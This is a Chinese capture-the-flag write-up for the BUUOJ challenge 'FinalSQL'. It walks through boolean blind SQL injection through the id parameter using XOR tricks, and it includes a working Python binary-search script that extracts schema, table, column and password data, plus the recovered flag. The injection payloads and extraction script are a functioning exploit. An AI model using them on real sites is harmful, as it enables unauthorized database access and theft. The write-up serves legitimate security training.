[极客大挑战 2019]FinalSQL
[极客大挑战 2019]FinalSQL
先骂出题人
出题人是真的狗,废话不多说先放最后爆破的结果:
cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{01d295cf-0c9c-44db-98ca-c7877048000a}
真的傻了都,还好二分法比较给力,而且用代码解放双手,不然寄刀片了。
找注入点
好好做题。
提示用python爆破盲注了,神秘代码是啥,点一下发现url变了:
http://c7f4deb2-e4eb-4cec-a2b4-6014fb5b6c2d.node3.buuoj.cn/search.php?id=1
注入点应该是这里了,题目都提示了盲注,那想来一些关键词比如order by
union
啥的都用不了了。
然后确实也不能用。
盲注的话主要有三个,布尔、时间、报错。
本题是基于布尔的盲注。
首先测试一下:
?id=1^1
?id=1^0
这里使用异或操作来进行注入,1^1=0
,0^0=0
,1^0=1
。
构造payload:
?id=1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=105)^1
然后构造脚本:
import requests
import time
url = "http://c7f4deb2-e4eb-4cec-a2b4-6014fb5b6c2d.node3.buuoj.cn/search.php?"
temp = {"id" : ""}
column = ""
for i in range(1,1000):
time.sleep(0.06)
low = 32
high =128
mid = (low+high)//2
while(low<high):
#库名
temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid)
#表名
#temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
#字段名
#temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
#内容
#temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
r = requests.get(url,params=temp)
time.sleep(0.04)
print(low,high,mid,":")
if "Click" in r.text:
low = mid+1
else:
high = mid
mid =(low+high)//2
if(mid ==32 or mid ==127):
break
column +=chr(mid)
print(column)
print("All:" ,column)
爆到最后的flag已经贴在前面了,真的狗。